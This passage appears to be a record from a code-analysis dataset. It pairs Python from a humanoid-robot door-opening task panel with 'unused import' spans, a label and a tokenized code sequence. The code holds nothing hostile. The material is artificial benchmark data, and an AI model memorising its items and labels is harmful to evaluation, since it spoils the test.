DoorImageFitter(self.doorDemo)\n self.initImageView(self.fitter.imageView)\n\n self.addDefaultProperties()\n self.addButtons()\n self.addTasks()", "metadata": "root.DoorTaskPanel.__init__", "header": "['class', 'DoorTaskPanel', '(', 'TaskUserPanel', ')', ':', '___EOS___']", "index": 1020 }, { "content": " def addButtons(self):\n\n self.addManualButton('Spawn door', self.doorDemo.spawnDoorAffordance)\n self.addManualSpacer()\n self.addManualButton('Footsteps to door', self.doorDemo.planFootstepsToDoor)\n self.addManualButton('Footsteps through door', self.doorDemo.planFootstepsThroughDoor)\n self.addManualSpacer()\n self.addManualButton('Raise arms', self.doorDemo.planPreReach)\n self.addManualButton('Tuck Arms (pre-push)', self.doorDemo.planTuckArmsPrePush)\n self.addManualButton('Tuck Arms', self.doorDemo.planTuckArms)\n self.addManualSpacer()\n self.addManualButton('Open pinch', self.openPinch)\n self.addManualButton('Close pinch', self.closePinch)\n self.addManualSpacer()\n self.addManualButton('Reach', self.doorDemo.planReach)\n self.addManualButton('Un-reach', self.doorDemo.planUnReach)\n self.addManualSpacer()\n self.addManualButton('Pre-chop out', self.doorDemo.planPreChop)\n self.addManualButton('Chop', self.doorDemo.planChop)\n self.addManualButton('Un-chop', functools.partial(self.doorDemo.planChop, deltaX=-0.1, deltaY=-0.1, deltaZ=0.1))\n self.addManualSpacer()\n self.addManualButton('Turn more', functools.partial(self.doorDemo.planHandleTurn, 10))\n self.addManualButton('Turn less', functools.partial(self.doorDemo.planHandleTurn, -10))\n self.addManualButton('Twist arm', self.doorDemo.planDoorPushOpenTwist)\n self.addManualSpacer()\n self.addManualButton('Commit Manip', self.doorDemo.commitManipPlan)\n self.addManualButton('Stop pushing', self.doorDemo.stopPushing)", "metadata": "root.DoorTaskPanel.addButtons", "header": "['class', 'DoorTaskPanel', '(', 'TaskUserPanel', ')', ':', '___EOS___']", "index": 1033 }, { "content": " def getSide(self):\n return self.params.getPropertyEnumValue('Hand').lower()", "metadata": "root.DoorTaskPanel.getSide", "header": "['class', 'DoorTaskPanel', '(', 'TaskUserPanel', ')', ':', '___EOS___']", "index": 1062 }, { "content": " def openPinch(self):\n rt.OpenHand(side=self.getSide().capitalize(), mode='Pinch').run()", "metadata": "root.DoorTaskPanel.openPinch", "header": "['class', 'DoorTaskPanel', '(', 'TaskUserPanel', ')', ':', '___EOS___']", "index": 1065 }, { "content": " def closePinch(self):\n rt.CloseHand(side=self.getSide().capitalize(), mode='Pinch').run()", "metadata": "root.DoorTaskPanel.closePinch", "header": "['class', 'DoorTaskPanel', '(', 'TaskUserPanel', ')', ':', '___EOS___']", "index": 1068 }, { "content": " def addDefaultProperties(self):\n self.params.addProperty('Hand', 0, attributes=om.PropertyAttributes(enumNames=['Left', 'Right']))\n self.params.addProperty('Pre-chop width', self.doorDemo.preChopWidth, attributes=om.PropertyAttributes(singleStep=0.01, decimals=3))\n self.params.addProperty('Pre-chop depth', self.doorDemo.preChopDepth, attributes=om.PropertyAttributes(singleStep=0.01, decimals=3))\n self.params.addProperty('Pre-chop height', self.doorDemo.preChopHeight, attributes=om.PropertyAttributes(singleStep=0.01, decimals=3))\n self.params.addProperty('Chop distance', self.doorDemo.chopDistance, attributes=om.PropertyAttributes(singleStep=0.01, decimals=3))\n self.params.addProperty('Chop sideways distance', self.doorDemo.chopSidewaysDistance, attributes=om.PropertyAttributes(singleStep=0.01, decimals=3))\n self._syncProperties()", "metadata": "root.DoorTaskPanel.addDefaultProperties", "header": "['class', 'DoorTaskPanel', '(', 'TaskUserPanel', ')', ':', '___EOS___']", "index": 1071 }, { "content": " def onPropertyChanged(self, propertySet, propertyName):\n if propertyName == 'Hand':\n self.taskTree.removeAllTasks()\n self.addTasks()\n self.doorDemo.findDoorHandleAffordance()\n self._syncProperties()", "metadata": "root.DoorTaskPanel.onPropertyChanged", "header": "['class', 'DoorTaskPanel', '(', 'TaskUserPanel', ')', ':', '___EOS___']", "index": 1080 }, { "content": " def _syncProperties(self):\n self.doorDemo.graspingHand = self.params.getPropertyEnumValue('Hand').lower()\n self.doorDemo.ikPlanner.reachingSide = self.doorDemo.graspingHand\n if hasattr(self.doorDemo, 'doorHandleAffordance'):\n self.doorDemo.computeDoorHandleGraspFrame()\n self.doorDemo.chopDistance = self.params.getProperty('Chop distance')\n self.doorDemo.chopSidewaysDistance = self.params.getProperty('Chop sideways distance')\n self.doorDemo.preChopWidth = self.params.getProperty('Pre-chop width')\n self.doorDemo.preChopDepth = self.params.getProperty('Pre-chop depth')\n self.doorDemo.preChopHeight = self.params.getProperty('Pre-chop height')", "metadata": "root.DoorTaskPanel._syncProperties", "header": "['class', 'DoorTaskPanel', '(', 'TaskUserPanel', ')', ':', '___EOS___']", "index": 1087 }, { "content": " def addTasks(self):\n\n # some helpers\n self.folder = None\n def addTask(task, parent=None):\n parent = parent or self.folder\n self.taskTree.onAddTask(task, copy=False, parent=parent)\n def addFunc(func, name, parent=None):\n addTask(rt.CallbackTask(callback=func, name=name), parent=parent)\n def addFolder(name, parent=None):\n self.folder = self.taskTree.addGroup(name, parent=parent)\n return self.folder\n\n\n d = self.doorDemo\n\n self.taskTree.removeAllTasks()\n side = self.params.getPropertyEnumValue('Hand')\n\n ###############\n # add the tasks\n\n # prep\n folder = addFolder('Prep')\n addTask(rt.CloseHand(name='close left hand', side='Left'))\n addTask(rt.CloseHand(name='close right hand', side='Right'))\n #addTask(rt.PlanPostureGoal(name='plan walk posture', postureGroup='General', postureName='safe nominal', side='Default'))\n #addTask(rt.CheckPlanInfo(name='check manip plan info'))\n #addTask(rt.CommitManipulationPlan(name='execute manip plan', planName='safe nominal posture plan'))\n #addTask(rt.WaitForManipulationPlanExecution(name='wait for manip execution'))\n\n\n # fit\n #addTask(rt.WaitForMultisenseLidar(name='wait for lidar sweep'))\n addTask(rt.UserPromptTask(name='fit door', message='Please fit and approve door affordance.'))\n addTask(rt.FindAffordance(name='check door affordance', affordanceName='door'))\n addTask(rt.SetNeckPitch(name='set neck position', angle=35))\n\n # walk\n folder = addFolder('Walk and refit')\n addTask(rt.RequestFootstepPlan(name='plan walk to door', stanceFrameName='door stance frame'))\n addTask(rt.UserPromptTask(name='approve footsteps', message='Please approve footstep plan.'))\n addTask(rt.CommitFootstepPlan(name='walk to door', planName='door stance frame footstep plan'))\n addTask(rt.WaitForWalkExecution(name='wait for walking'))\n\n # refit\n #addTask(rt.WaitForMultisenseLidar(name='wait for lidar sweep'))\n addTask(rt.UserPromptTask(name='fit door', message='Please fit and approve door handle affordance.'))\n\n # set fingers\n addTask(rt.OpenHand(name='open hand', side=side, mode='Pinch'))\n\n\n def addManipTask(name, planFunc, userPrompt=False):\n\n folder = addFolder(name)\n addFunc(planFunc, name='plan')\n if not userPrompt:\n addTask(rt.CheckPlanInfo(name='check manip plan info'))\n else:\n addTask(rt.UserPromptTask(name='approve manip plan', message='Please approve manipulation plan.'))\n addFunc(d.commitManipPlan, name='execute manip plan')\n addTask(rt.WaitForManipulationPlanExecution(name='wait for manip execution'))\n\n\n addManipTask('Raise arms', d.planPreReach, userPrompt=False)\n addManipTask('Raise pushing hand', d.planDoorTouch, userPrompt=False)\n if d.usePinchGrasp:\n addManipTask('Reach', d.planReach, userPrompt=True)\n addFunc(self.closePinch, name='Pinch handle')\n addTask(rt.UserPromptTask(name='Approve grasp',\n message='Please verify the pinch grasp'))\n addManipTask('Turn', d.planHandleTurn, userPrompt=False)\n addTask(rt.UserPromptTask(name='Approve handle turn',\n message='Please verify that the handle has turned'))\n else:\n addFunc(self.doorDemo.setChopParametersToDefaults, name='re-set chop parameters')\n addFunc(self.closePinch, name='Close hand')\n addManipTask('Reach', d.planReach, userPrompt=True)\n addManipTask('Chop', d.planChop, userPrompt=True)\n\n addManipTask('Push ajar', d.planHandlePush, userPrompt=False)\n addTask(rt.UserPromptTask(name='Approve door position',\n message='Please verify that the door is ajar'))\n addManipTask('Push ajar again', d.planHandlePush, userPrompt=False)\n\n if d.usePinchGrasp:\n addManipTask('Lift', d.planHandlePushLift, userPrompt=False)\n addTask(rt.CloseHand(name='Open hand', side=side, mode='Pinch', amount=0))\n\n addManipTask('Push open', d.planDoorPushOpen, userPrompt=False)\n addTask(rt.UserPromptTask(name='Approve door position',\n message='Please verify that the door is open'))\n addTask(rt.CloseHand(name='Close hand', side=side))\n addManipTask('Tuck Arms', d.planTuckArms, userPrompt=False)\n addTask(rt.CloseHand(name='Close fist', side=side))\n\n # walk\n folder = addFolder('Walk through door')\n #addTask(rt.RequestFootstepPlan(name='plan walk through door', stanceFrameName='door walk frame'))\n addFunc(d.planFootstepsThroughDoorManual, name='plan walk through door')\n addTask(rt.UserPromptTask(name='approve footsteps', message='Please approve footstep plan.'))\n addTask(rt.CommitFootstepPlan(name='walk to door', planName='door walk frame footstep plan'))\n addTask(rt.WaitForWalkExecution(name='wait for walking'))\n\n\n folder = addFolder('Prep for walking')\n addTask(rt.CloseHand(name='close left hand', side='Left'))\n addTask(rt.CloseHand(name='close right hand', side='Right'))\n addTask(rt.PlanPostureGoal(name='plan walk posture', postureGroup='General', postureName='safe nominal', side='Default'))\n addTask(rt.UserPromptTask(name='approve manip plan', message='Please approve manip plan.'))\n addTask(rt.CommitManipulationPlan(name='execute manip plan', planName='safe nominal posture plan'))\n addTask(rt.WaitForManipulationPlanExecution(name='wait for manip execution'))", "metadata": "root.DoorTaskPanel.addTasks", "header": "['class', 'DoorTaskPanel', '(', 'TaskUserPanel', ')', ':', '___EOS___']", "index": 1098 } ]
[ { "span": "import os", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 9 }, { "span": "import sys", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 10 }, { "span": "import time", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 11 }, { "span": "import types", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 12 }, { "span": "from director import lcmUtils", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 29 }, { "span": "from director.timercallback import TimerCallback", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 48 }, { "span": "from director.asynctaskqueue import AsyncTaskQueue", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 50 }, { "span": "from director import applogic as app", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 36 }, { "span": "from director.debugVis import DebugData", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 39 }, { "span": "from director import ikplanner", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 30 }, { "span": "from director import ioUtils", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 28 }, { "span": "from director import affordanceitems", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 36 }, { "span": "from director.simpletimer import SimpleTimer", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 44 }, { "span": "from director.utime import getUtime", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 35 }, { "span": "from director import robotplanlistener", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 38 }, { "span": "from director import planplayback", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 33 }, { "span": "import director.tasks.taskmanagerwidget as tmw", "start_line": 35, "start_column": 0, "end_line": 35, "end_column": 46 }, { "span": "import drc as lcmdrc", "start_line": 37, "start_column": 0, "end_line": 37, "end_column": 20 }, { "span": "from PythonQt import QtCore, QtGui", "start_line": 39, "start_column": 0, "end_line": 39, "end_column": 34 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "vtk", "All_", "as_", "vtk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "math_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "functools_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "director_", "import_", "transform", "Utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "import_", "lcm", "Utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "._", "timer", "callback_", "import_", "Time", "r", "Callback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "._", "async", "task", "queue_", "import_", "Async", "Task", "Queue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "._", "field", "container_", "import_", "Field", "Container_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "import_", "object", "model_", "as_", "om_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "import_", "visualization", "_", "as_", "vis_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "import_", "appl", "ogi", "c_", "as_", "app_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "._", "debug", "Vis", "_", "import_", "Deb", "ug", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "import_", "ik_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "._", "ik", "parameters_", "import_", "Ik", "Parameters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "import_", "ik", "planner", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "import_", "io", "Utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "import_", "aff", "orda", "nce", "items_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "._", "simple", "timer_", "import_", "Simple", "Timer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "._", "utime", "_", "import_", "get", "Ut", "ime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "import_", "robots", "tate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "import_", "robot", "plan", "listener_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "import_", "segmentation_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "import_", "plan", "playback", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "._", "foot", "step", "sdr", "iver", "_", "import_", "Foot", "step", "Request", "Generator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "._", "tasks_", "._", "task", "userp", "ane", "l_", "import_", "Task", "User", "Panel_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "director_", "._", "tasks_", "._", "task", "userp", "ane", "l_", "import_", "Image", "Base", "d", "Aff", "orda", "nce", "Fit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "director_", "._", "tasks_", "._", "robot", "tasks_", "as_", "rt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "director_", "._", "tasks_", "._", "task", "manage", "rw", "idge", "t_", "as_", "tm", "w_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "dr", "c_", "as_", "lcm", "dr", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "Pyth", "on", "Qt_", "import_", "Qt", "Core_", ",_", "Qt", "Gui_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u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\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "def", " ", "plan", "Handle", "Push", "Lif", "t", "(", "self", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "ik", "Plann", "er", ".", "ik", "Server", ".", "use", "Point", "wis", "e", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "ik", "Plann", "er", ".", "ik", "Server", ".", "max", "Degrees", "Per", "Second", " ", "=", " ", "10_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "ik", "Plann", "er", ".", "max", "Base", "Meter", "s", "Per", "Second", " ", "=", " ", "0.01_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "start", "Pose", " ", "=", " ", "self", ".", "get", "Plann", "ing", "Start", "Pose", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "constraint", "Set", " ", "=", " ", "self", ".", "ik", "Plann", "er", ".", "plan", "End", "Effe", "ctor", "Goal", "(", "start", "Pose", ",", " ", "self", ".", "gra", "spin", "g", "Hand", ",", " ", "self", ".", "door", "Handle", "Push", "Lif", "t", "Frame", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "end", "Pose", ",", " ", "info", " ", "=", " ", "constraint", "Set", ".", "run", "Ik", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "plan", " ", "=", " ", "constraint", "Set", ".", "run", "Ik", "Tra", "j", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "ik", "Plann", "er", ".", "ik", "Server", ".", "max", "Degrees", "Per", "Second", " ", "=", " ", "30_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "ik", "Plann", "er", ".", "max", "Base", "Meter", "s", "Per", "Second", " ", "=", " ", "0.05_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "add", "Plan", "(", "plan", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "robot", "Model_", ",_", "foot", "step", "Plann", "er_", ",_", "manip", "Plann", "er_", ",_", "ik", "Plann", "er_", ",_", "lha", "nd", "Driver_", ",_", "rh", "and", "Driver_", ",_", "atlas", "Driver_", ",_", "multis", "ense", "Driver_", ",_", "aff", "orda", "nce", "Fit", "Function_", ",_", "sensor", "Joint", "Controller_", ",_", "plan", "Playb", "ack", "Function_", ",_", "show", "Pose", "Function_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "robot", "Model_", "=_", "robot", "Model_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "foot", "step", "Plann", "er_", "=_", "foot", "step", "Plann", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "manip", "Plann", "er_", "=_", "manip", "Plann", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ik", "Plann", "er_", "=_", "ik", "Plann", "er_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "lha", "nd", "Driver_", "=_", "lha", "nd", "Driver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rh", "and", "Driver_", "=_", "rh", "and", "Driver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "atlas", "Driver_", "=_", "atlas", "Driver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "multis", "ense", "Driver_", "=_", "multis", "ense", "Driver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "aff", "orda", "nce", "Fit", "Function_", "=_", "aff", "orda", "nce", "Fit", "Function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sensor", "Joint", "Controller_", "=_", "sensor", "Joint", "Controller_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "plan", "Playb", "ack", "Function_", "=_", "plan", "Playb", "ack", "Function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "show", "Pose", "Function_", "=_", "show", "Pose", "Function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "gra", "spin", "g", "Hand_", "=_", "'", "left", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "end", "Pose", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "plan", "Fro", "m", "Curr", "ent", "Robot", "State_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "vis", "Only_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "use", "Foot", "step", "Plann", "er_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "user", "Prom", "pt", "Enabled_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "constraint", "Set_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "plans", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "use", "Pin", "ch", "Gra", "sp_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "pin", "ch", "Distance_", "=_", "0.1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Frame_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Handle", "Gra", "sp", "Frame_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Hin", "ge", "Frame_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "handle", "Tou", "ch", "Height_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "handle", "Tou", "ch", "Depth_", "=_", "-_", "0.08_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "handle", "Tou", "ch", "Width_", "=_", "0.06_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "handle", "Reach", "Angle_", "=_", "20_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "handle", "Turn", "Height_", "=_", "-_", "0.08_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "handle", "Turn", "Width_", "=_", "0.01_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "handle", "Turn", "Angle_", "=_", "60_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "handle", "Lif", "t", "Height_", "=_", "0.12_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "handle", "Push", "Depth_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "handle", "Push", "Angle_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "handle", "Open", "Depth_", "=_", "0.1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "handle", "Open", "Width_", "=_", "0.4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "speed", "High_", "=_", "60_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "speed", "Low_", "=_", "15_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "set", "Foot", "step", "Through", "Doo", "r", "Parameters_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "set", "Cho", "p", "Parameter", "s", "To", "Defaults_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Cho", "p", "Parameter", "s", "To", "Defaults_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pre", "Cho", "p", "Depth_", "=_", "-_", "0.06_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "pre", "Cho", "p", "Width_", "=_", "-_", "0.08_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "pre", "Cho", "p", "Height_", "=_", "0.10", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "chop", "Distance_", "=_", "-_", "0.15_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "chop", "Side", "way", "s", "Distance_", "=_", "0.03_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "Plan_", "(_", "self_", ",_", "plan_", ")_", 